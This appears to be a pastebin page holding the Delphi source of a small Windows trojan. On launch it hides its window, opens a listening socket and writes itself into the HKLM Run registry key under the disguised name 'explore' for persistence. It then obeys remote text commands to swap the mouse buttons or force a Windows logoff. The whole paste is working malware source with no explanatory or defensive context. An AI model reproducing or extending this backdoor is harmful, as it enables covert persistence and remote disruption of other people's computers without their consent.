Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on Jun 22nd, 2012  |  syntax: None  |  size: 1.07 KB  |  hits: 18  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. unit Unit1;
  2.  
  3. interface
  4.  
  5. uses
  6.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.   Dialogs, ScktComp,registry;
  8.  
  9. type
  10.   TForm1 = class(TForm)
  11.     ss: TServerSocket;
  12.     procedure FormCreate(Sender: TObject);
  13.     procedure ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
  14.   private
  15.     { Private declarations }
  16.   public
  17.     { Public declarations }
  18.   end;
  19.  
  20. var
  21.   Form1: TForm1;
  22.   reg: Tregistry;
  23.   i: string;
  24.  
  25. implementation
  26.  
  27. {$R *.dfm}
  28.  
  29. procedure TForm1.FormCreate(Sender: TObject);
  30. begin
  31. ss.Open;
  32. reg:=tregistry.Create;
  33. reg.RootKey:=hkey_local_machine;
  34. reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
  35. reg.WriteString('explore',application.ExeName);
  36. reg.CloseKey;
  37. application.ShowMainForm:=false;
  38. reg.Free;
  39. end;
  40.  
  41. procedure TForm1.ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
  42. begin
  43. i:=ss.Socket.ReceiveText;
  44. if i='поменять клавиши мышки' then
  45. begin;
  46. SwapMouseButton(true);
  47. end;
  48. if i='windows exit' then
  49. begin;
  50. ExitWindowsEx(EWX_FORCE,0);
  51. end;
  52.  
  53. end;
  54.  
  55. end.